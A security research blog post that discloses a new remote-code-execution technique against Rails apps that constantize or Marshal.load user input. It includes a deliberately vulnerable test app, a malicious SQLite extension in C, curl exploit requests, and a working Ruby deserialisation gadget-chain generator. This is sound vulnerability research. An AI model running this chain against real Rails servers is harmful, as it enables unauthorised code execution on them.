New Method to Leverage Unsafe Reflection and Deserialisation to RCE on Rails
Research into exploiting unsafe reflection in a minimal Rails application and the discovery of a new RCE reflection and deserialisation gadget in the sqlite3 gem.
Research into exploiting unsafe reflection in a minimal Rails application and the discovery of a new RCE reflection and deserialisation gadget in the sqlite3 gem.
It is a well known security issue that allowing user controlled inputs in calls to the Ruby String#constantize
, String#safe_constantize
, Module#const_get
and Module#qualified_const_get
methods are insecure, since these methods allow the arbitrary loading of Ruby classes.
For an example, the following code snippet would allow an attacker to initialise an object of any class:
vuln_params[:type].constantize.new(*vuln_params[:args])
This unsafe reflection has resulted in code execution vulnerabilities in the past, by initialising a new Logger
object since the class previously used the Ruby Kernel#open
method for opening the log file, which allowed the execution of terminal commands if the input begun with |
.
However, this method to achieve RCE has been patched since 2017 when the use of Kernel#open
was changed to File.open
to only allow the Logger
class to create files.
It did pique our interest if the above dangerous construct could still result in arbitrary code execution on a minimal installation of Ruby on Rails, which resulted in the discovery of a new method by loading SQLite extension libraries via the SQLite3::Database
class in the sqlite3
gem. Upon further investigation, this new SQLite3::Database
reflection gadget could also be exploited in a new deserialisation gadget chain if user inputs were deserialised using Marshal.load
on a Rails application with the sqlite3
, activerecord
and activesupport
gems installed.
Although brakeman
has the check_unsafe_reflection
rule for detecting potentially unsafe uses of the Ruby constantize
or similar methods, a wide variety of exploitation techniques are fairly limited. The following articles were two notable investigations that identified several reflection gadgets that could be abused to impact a Ruby/Rails application:
Conviso’s research into exploiting unsafe reflection in Rails applications highlighted several reflection gadgets, including the Logger
command execution method that has been patched since 2017.
Justin Collins’s research into constantize
documented Gems that had an unsafe const_missing
method that could be abused to cause memory a leak with only just params[:class].classify.constantize
as the dangerous construct.
The focus for this research was investigating if unsafe reflection or deserialisation of user controllable parameters on a Rails application could result in RCE. Testing was conducted on a minimal and default installation of Ruby on Rails with the following two endpoints, where the following Dockerfile
(adapted from Luke Jahnke) was used to build the Docker image.
/reflection
: Unsafe reflection of user controlled values to construct a new object./marshal
: Unsafe deserialisation of a user controllable value using Marshal.load
.FROM ruby:3.4
RUN gem install rails:8.0.1
RUN rails new vuln_app --minimal --api
WORKDIR vuln_app/
RUN cat <<"EOF" > route_create_template.rb
route 'post "/reflection", to: "vuln#reflection"'
route 'post "/marshal", to: "vuln#marshal"'
EOF
RUN ./bin/rails app:template LOCATION=route_create_template.rb
RUN cat <<"EOF" > app/controllers/vuln_controller.rb
require "base64"
class VulnController < ApplicationController
def reflection
vuln_params[:type].constantize.new(*vuln_params[:args])
render json: {success: true}
end
def marshal
deserialised = Marshal.load(Base64.decode64(vuln_params[:deserialise]))
render json: {data: deserialised.to_s}
end
def vuln_params
params.permit!
end
end
EOF
ENV RAILS_ENV="production"
ENTRYPOINT ["./bin/rails", "server", "--binding=0.0.0.0"]
The first task was to discover classes within installed gems and Ruby that could result in arbitrary code execution when an object is initialised. Using semgrep
to assist with identifying the use of dangerous Ruby methods within the installed gems, over 1,000+ potential sinks were raised that were then manually investigated if input parameters for a constructor reached the sink.
This analysis resulted in the discovery of the following classes that were considered suitable candidates to investigate further.
RDoc::RI::Driver
options[:extra_doc_dirs]
option allows specifying extra folders for loading documentation, that initialises a new RDoc::Store
object (source).load_cache
method for the RDoc::Store
object is then invoked, that appends cache.ri
to the folder path that is then loaded using Marshal.load
(source).SQLite3::Database
options[:extensions]
specifies additional file paths to SQLite extension libraries that are loaded when the database was initialised (source).A few other interesting constructor methods in the following classes were also discovered, but since the impact was not code execution they were not analysed further and are summarised below:
Logger
Logger.new("create/file/anywhere.txt")
Gem::ConfigFile
--debug
, then it sets $DEBUG=true
(source).Gem::ConfigFile.new(["--debug"])
TCPServer
and TCPSocket
TCPSocket.new("127.0.0.1", 1337)
ActiveRecord::ConnectionAdapters::SQLite3Adapter
ActiveRecord::ConnectionAdapters::SQLite3Adapter.new({database: "created/anything"})
will create the folder ./created
.ActiveSupport::ConfigurationFile
to_json
method and returning in a HTTP response).ActiveSupport::ConfigurationFile.new("/etc/passwd").to_json
ENV
ENV
variable is a hash-like accessor for environment variables, depending on the implementation of the unsafe reflection it is possible to leak environment variables."ENV".constantize.to_json
Both the RDoc::RI::Driver
and SQLite3::Database
reflection gadgets depend on reading a user controllable file on the filesystem to leverage the arbitrary code execution sinks. The problem is that the test application does not have ActiveStorage
or any other file upload functionality enabled. The TCPSocket
and TCPServer
(plus other networking classes) reflection gadgets could be used to open a file descriptor at /proc/self/fd/x
, but the open
syscall is unable to open these socket files.
The next option was to look into how Ruby on Rails handles multipart/form-data
requests with uploaded files. Underneath the hood, Ruby on Rails uses Rack
for handling the processing of web requests and responses. The following code snippet from rack/blob/main/lib/rack/multipart.rb
shows the parse_multipart
method that processes multipart/form-data
requests with uploaded files.
def parse_multipart(env, params = Rack::Utils.default_query_parser)
unless io = env[RACK_INPUT]
raise MissingInputError, "Missing input stream!"
end
if content_length = env['CONTENT_LENGTH']
content_length = content_length.to_i
end
content_type = env['CONTENT_TYPE']
tempfile = env[RACK_MULTIPART_TEMPFILE_FACTORY] || Parser::TEMPFILE_FACTORY
bufsize = env[RACK_MULTIPART_BUFFER_SIZE] || Parser::BUFSIZE
info = Parser.parse(io, content_length, content_type, tempfile, bufsize, params)
env[RACK_TEMPFILES] = info.tmp_files
return info.params
end
Digging into Rack::Multipart::Parser
class, it shows that a new TempFile
is created with the contents of the uploaded file with the default prefix of RackMultipart
.
module Rack
module Multipart
...
class Parser
BUFSIZE = 1_048_576
TEXT_PLAIN = "text/plain"
TEMPFILE_FACTORY = lambda { |filename, content_type|
extension = ::File.extname(filename.gsub("\0", '%00'))[0, 129]
Tempfile.new(["RackMultipart", extension])
}
...
This can be confirmed by sending a file in a POST
request to a target Rails application, and then observing the temporary file in the /tmp
folder (default location for temporary files).
NOTE: The /
endpoint does not exist on the test application, but the file is still saved to the filesystem.
Example curl
command to demonstrate uploading a file
cat hello.txt
# i am in your filesystem :)
curl -F file=@hello.txt http://127.0.0.1:3000/
Showing the generated temporary file on the filesystem inside the Rails container
root@6986fa9afc11:/tmp# ls -al
total 12
drwxrwxrwt 1 root root 4096 Feb 25 14:29 .
drwxr-xr-x 1 root root 4096 Feb 25 14:28 ..
-rw------- 1 root root 27 Feb 25 14:29 RackMultipart20250225-1-sc9f98.txt
root@6986fa9afc11:/tmp# cat RackMultipart20250225-1-sc9f98.txt
i am in your filesystem :)
root@6986fa9afc11:/tmp#
One problem with this method of file upload is that although the extension value can be controlled by the user, the filename cannot be controlled so the RDoc::RI::Driver
gadget is no longer a valid candidate for this scenario. This is because when a new RDoc::RI::Driver
object is initialised with the options[:extra_doc_dirs]
option, it deserialises the cache.ri
file in the provided folder.
The other issue is determining the last six characters of the temporary filename before the extension. However, when a temporary file is created, the Rails process opens a file descriptor that is a symbolic link to the temporary file, where file descriptor numbers are significantly easier to enumerate than a Ruby temporary file name.
Example showing that /proc/self/fd/12
is a symboilic link to the temporary file
root@6986fa9afc11:/proc/1/fd# ls -al
total 0
dr-x------ 2 root root 12 Feb 25 14:30 .
dr-xr-xr-x 9 root root 0 Feb 25 14:28 ..
lrwx------ 1 root root 64 Feb 25 14:30 0 -> /dev/null
l-wx------ 1 root root 64 Feb 25 14:30 1 -> 'pipe:[78561674]'
l-wx------ 1 root root 64 Feb 25 14:30 10 -> 'pipe:[78556734]'
lrwx------ 1 root root 64 Feb 25 14:30 12 -> /tmp/RackMultipart20250225-1-sc9f98.txt
l-wx------ 1 root root 64 Feb 25 14:30 2 -> 'pipe:[78561675]'
lrwx------ 1 root root 64 Feb 25 14:30 3 -> 'anon_inode:[eventfd]'
lrwx------ 1 root root 64 Feb 25 14:30 4 -> 'anon_inode:[eventpoll]'
lrwx------ 1 root root 64 Feb 25 14:30 5 -> 'socket:[78556732]'
lr-x------ 1 root root 64 Feb 25 14:30 6 -> 'pipe:[78556733]'
l-wx------ 1 root root 64 Feb 25 14:30 7 -> 'pipe:[78556733]'
lrwx------ 1 root root 64 Feb 25 14:30 8 -> 'anon_inode:[eventpoll]'
lr-x------ 1 root root 64 Feb 25 14:30 9 -> 'pipe:[78556734]'
root@6986fa9afc11:/proc/1/fd# cat /proc/1/fd/12
i am in your filesystem :)
root@6986fa9afc11:/proc/1/fd#
SQLite3::Database
Reflection GadgetTo confirm if /proc/self/fd/{num}
paths could be loaded as a SQLite extension, first a basic POC library was compiled using the following source code and gcc
command.
C POC file that will create a file at /tmp/rce-conf.txt
to confirm code execution
#include <unistd.h>
int sqlite3_extension_init(void)
{
system("touch /tmp/rce-conf.txt");
return 0;
}
gcc
command to compile the malicious SQLite extension
gcc -shared -fPIC -o payload.so poc.c
Uploading the payload.so
to the application, Rack opened a new file descriptor to the temporary file at /proc/self/fd/13
.
root@6986fa9afc11:/proc/1/fd# ls -al
total 0
dr-x------ 2 root root 13 Feb 25 14:30 .
dr-xr-xr-x 9 root root 0 Feb 25 14:28 ..
lrwx------ 1 root root 64 Feb 25 14:30 0 -> /dev/null
l-wx------ 1 root root 64 Feb 25 14:30 1 -> 'pipe:[78561674]'
l-wx------ 1 root root 64 Feb 25 14:30 10 -> 'pipe:[78556734]'
lrwx------ 1 root root 64 Feb 25 14:30 12 -> /tmp/RackMultipart20250225-1-sc9f98.txt
lrwx------ 1 root root 64 Feb 25 14:30 13 -> /tmp/RackMultipart20250225-1-oji5wc.so
l-wx------ 1 root root 64 Feb 25 14:30 2 -> 'pipe:[78561675]'
lrwx------ 1 root root 64 Feb 25 14:30 3 -> 'anon_inode:[eventfd]'
lrwx------ 1 root root 64 Feb 25 14:30 4 -> 'anon_inode:[eventpoll]'
lrwx------ 1 root root 64 Feb 25 14:30 5 -> 'socket:[78556732]'
lr-x------ 1 root root 64 Feb 25 14:30 6 -> 'pipe:[78556733]'
l-wx------ 1 root root 64 Feb 25 14:30 7 -> 'pipe:[78556733]'
lrwx------ 1 root root 64 Feb 25 14:30 8 -> 'anon_inode:[eventpoll]'
lr-x------ 1 root root 64 Feb 25 14:30 9 -> 'pipe:[78556734]'
root@6986fa9afc11:/proc/1/fd#
Finally, the below curl
command would load /proc/self/fd/13
as a SQLite extension when the SQLite3::Database
object is initialised.
curl \
-H 'Content-Type: application/json' \
-d '{"type": "SQLite3::Database", "args": ["/tmp/rce.db", {"extensions": ["/proc/self/fd/13"]}]}' \
http://127.0.0.1:3000/reflection
The creation of the /tmp/rce-conf.txt
confirms that the uploaded SQLite extension was executed
root@6986fa9afc11:/tmp# ls -al
total 28
drwxrwxrwt 1 root root 4096 Feb 25 14:32 .
drwxr-xr-x 1 root root 4096 Feb 25 14:28 ..
-rw------- 1 root root 15560 Feb 25 14:30 RackMultipart20250225-1-oji5wc.so
-rw------- 1 root root 27 Feb 25 14:29 RackMultipart20250225-1-sc9f98.txt
-rw-r--r-- 1 root root 0 Feb 25 14:32 rce-conf.txt
-rw-r--r-- 1 root root 0 Feb 25 14:31 rce.db
root@6986fa9afc11:/tmp#
This confirms that any Rails application with the sqlite3
gem installed (which is installed by default) that allow the unsafe reflection of user inputs could result in RCE.
Rack
enables an attacker to upload a malicious SQLite extension to the filesystem that is loaded during the construction of a SQLite3::Database
object by using /proc/self/fd/x
filepaths, which an external attacker could easily enumerate.
SQLite3::Database
Reflection Gadget into a Deserialisation GadgetThe next challenge was to investigate if SQLite3::Database
objects could be leveraged in a deserialisation gadget chain to achieve RCE on a Rails application. The first step was to confirm if SQLite3::Database
objects could be serialised, which is unfortunately not the case as it shows in the screenshot below.
However, it was discovered that the ActiveRecord::ConnectionAdapters::SQLite3Adapter
class initialises a new SQLite3::Database
object when the connect!
method is invoked, as it shows in the following code snippet.
...
module ActiveRecord
module ConnectionAdapters # :nodoc:
# = Active Record \SQLite3 Adapter
#
# The \SQLite3 adapter works with the sqlite3[https://sparklemotion.github.io/sqlite3-ruby/]
# driver.
#
# Options:
#
# * +:database+ (String): Filesystem path to the database file.
# * +:statement_limit+ (Integer): Maximum number of prepared statements to cache per database connection. (default: 1000)
# * +:timeout+ (Integer): Timeout in milliseconds to use when waiting for a lock. (default: no wait)
# * +:strict+ (Boolean): Enable or disable strict mode. When enabled, this will
# {disallow double-quoted string literals in SQL
# statements}[https://www.sqlite.org/quirks.html#double_quoted_string_literals_are_accepted].
# (default: see strict_strings_by_default)
# * +:extensions+ (Array): (<b>requires sqlite3 v2.4.0</b>) Each entry specifies a sqlite extension
# to load for this database. The entry may be a filesystem path, or the name of a class that
# responds to +.to_path+ to provide the filesystem path for the extension. See {sqlite3-ruby
# documentation}[https://sparklemotion.github.io/sqlite3-ruby/SQLite3/Database.html#class-SQLite3::Database-label-SQLite+Extensions]
# for more information.
#
# There may be other options available specific to the SQLite3 driver. Please read the
# documentation for
# {SQLite::Database.new}[https://sparklemotion.github.io/sqlite3-ruby/SQLite3/Database.html#method-c-new]
#
class SQLite3Adapter < AbstractAdapter
ADAPTER_NAME = "SQLite"
class << self
def new_client(config)
::SQLite3::Database.new(config[:database].to_s, config)
rescue Errno::ENOENT => error
...
end
...
end
...
def connect
@raw_connection = self.class.new_client(@connection_parameters)
rescue ConnectionNotEstablished => ex
raise ex.set_pool(@pool)
end
...
end
ActiveSupport.run_load_hooks(:active_record_sqlite3adapter, SQLite3Adapter)
end
end
Using the infamous ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
gadget, a deserialised DeprecatedInstanceVariableProxy
object could be used to invoke the connect!
method of a deserialised ActiveRecord::ConnectionAdapters::SQLite3Adapter
object, which was first utilised back in 2013 by Hailey Somerville to exploit CVE-2013-0156. Since 2013, the DeprecatedInstanceVariableProxy
gadget now requires the @deprecator
instance variable to be set, otherwise an exception would be raised before executing the deserialised payload.
Putting all these points together in a gadget chain, the following proof-of-concept script was developed:
# usage: ruby sqlite-marshal-poc.rb {fd}
# example: ruby sqlite-marshal-poc.rb 13
require "base64"
require "concurrent"
class ActiveRecord
class ConnectionAdapters
class SQLite3Adapter
def initialize(...)
@connection_parameters = nil
@config = nil
@lock = nil
end
end
end
end
class ActiveSupport
class Concurrency
module NullLock
end
end
class Deprecation
def initialize()
@gem_name="Rails"
@deprecation_horizon="8.1"
@silenced=false
@debug=false
@silence_counter=Concurrent::ThreadLocalVar.new(0)
@default_block=nil
@default=0
@index=21
@explicitly_allowed_warnings=Concurrent::ThreadLocalVar.new(nil)
@default_block=nil
@default=nil
@index=22
end
class DeprecatedInstanceVariableProxy
def initialize(instance, method)
@instance = instance
@method = method
end
end
end
end
fd = ARGV[0]
if fd == nil
abort("Need to set target fd")
end
adptr = ActiveRecord::ConnectionAdapters::SQLite3Adapter.allocate
adptr.instance_variable_set("@connection_parameters", {database: "/tmp/r.db", extensions: ["/proc/self/fd/#{fd}"]})
adptr.instance_variable_set("@config", {connection_retries: 1, database: ":memory:"})
adptr.instance_variable_set("@lock", ActiveSupport::Concurrency::NullLock)
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
depr.instance_variable_set :@instance, adptr
depr.instance_variable_set :@method, :connect!
depr.instance_variable_set :@var, "@connect!"
depr.instance_variable_set :@deprecator, ActiveSupport::Deprecation.new
payload = Base64.encode64(Marshal.dump(depr)).gsub("\n", "")
puts payload
To demonstrate this new deserialisation payload, the same payload.so
from the previous section was uploaded to the test application that opened a file descriptor at /proc/self/fd/12
.
root@f843c5a7802e:/proc/1/fd# ls -al
total 0
dr-x------ 2 root root 12 Feb 27 12:11 .
dr-xr-xr-x 9 root root 0 Feb 27 12:10 ..
lrwx------ 1 root root 64 Feb 27 12:11 0 -> /dev/null
l-wx------ 1 root root 64 Feb 27 12:11 1 -> 'pipe:[83117945]'
l-wx------ 1 root root 64 Feb 27 12:11 10 -> 'pipe:[83121125]'
lrwx------ 1 root root 64 Feb 27 12:11 12 -> /tmp/RackMultipart20250227-1-9ni25f.so
l-wx------ 1 root root 64 Feb 27 12:11 2 -> 'pipe:[83117946]'
lrwx------ 1 root root 64 Feb 27 12:11 3 -> 'anon_inode:[eventfd]'
lrwx------ 1 root root 64 Feb 27 12:11 4 -> 'anon_inode:[eventpoll]'
lrwx------ 1 root root 64 Feb 27 12:11 5 -> 'socket:[83080004]'
lr-x------ 1 root root 64 Feb 27 12:11 6 -> 'pipe:[83121124]'
l-wx------ 1 root root 64 Feb 27 12:11 7 -> 'pipe:[83121124]'
lrwx------ 1 root root 64 Feb 27 12:11 8 -> 'anon_inode:[eventpoll]'
lr-x------ 1 root root 64 Feb 27 12:11 9 -> 'pipe:[83121125]'
root@f843c5a7802e:/proc/1/fd#
The following curl
command then exploits the Marshal.load
vulnerability on the /marshal
endpoint on the test application that results in the initialisation of the SQLite3::Database
object that loads the SQLite extension.
curl -H 'Content-Type: application/json' \
-d '{"deserialise":"'$(ruby sqlite-marshal-poc.rb 12 | tr -d '\n')'"}' \
http://127.0.0.1:3000/marshal
Once again, the creation of the /tmp/rce-conf.txt
file confirms that the SQLite extension was successfully executed, confirming RCE.
root@f843c5a7802e:/tmp# ls -al
total 24
drwxrwxrwt 1 root root 4096 Feb 27 12:20 .
drwxr-xr-x 1 root root 4096 Feb 27 12:10 ..
-rw------- 1 root root 15560 Feb 27 12:11 RackMultipart20250227-1-9ni25f.so
-rw-r--r-- 1 root root 0 Feb 27 12:20 r.db
-rw-r--r-- 1 root root 0 Feb 27 12:20 rce-conf.txt
root@f843c5a7802e:/tmp#
This new gadget chain could be exploited to achieve RCE on any Rails application that allows the unsafe deserialisation of user controlled inputs and has the sqlite3
, activerecord
and activesupport
gems installed; where all three of these gems are installed by default on a minimal installation of Ruby on Rails. Considering that the DeprecatedInstanceVariableProxy
gadget has been known about since 2013, plus this gadget chain exploits the legitimate requirement to allow the loading of SQLite3 extensions when initialising a database connection, it is speculated that this gadget chain could be viable for some time.
The SQLite3::Database
reflection gadget that was demonstrated in this article showed that unsafe Ruby reflection and construction of new objects using user inputs could still result in arbitrary code execution if the sqlite3
gem installed, which is installed by default on a minimal installation of Rails. In addition, this article showcases a method to write files to the /tmp
folder by abusing Rack’s file upload parsing and accessing the contents of the file through /proc/self/fd/x
, which could be utilised in exploiting other vulnerabilities that depend on file write on a Rails application.
Using our research about the SQLite3::Database
reflection gadget, a new gadget chain was discovered that could be exploited to achieve RCE if the activerecord
and activesupport
gems installed, which they are by default on Ruby on Rails.
In conclusion, this research could potentially result in new RCE vulnerabilities being discovered once again on Rails applications that reflect or deserialise user controllable inputs.
New Method to Leverage Unsafe Reflection and Deserialisation to RCE on Rails
March 2025 - New Method to Leverage Unsafe Reflection and Deserialisation to RCE on Rails
October 2024 - A Monocle on Chronicles
August 2024 - DUCTF 2024 ESPecially Secure Boot Writeup
July 2024 - plORMbing your Prisma ORM with Time-based Attacks
June 2024 - plORMbing your Django ORM
January 2024 - Keeping up with the Pwnses
elttam is a globally recognised, independent information security company, renowned for our advanced technical security assessments.
Read more about our services at elttam.com
Connect with us on LinkedIn
Follow us at @elttam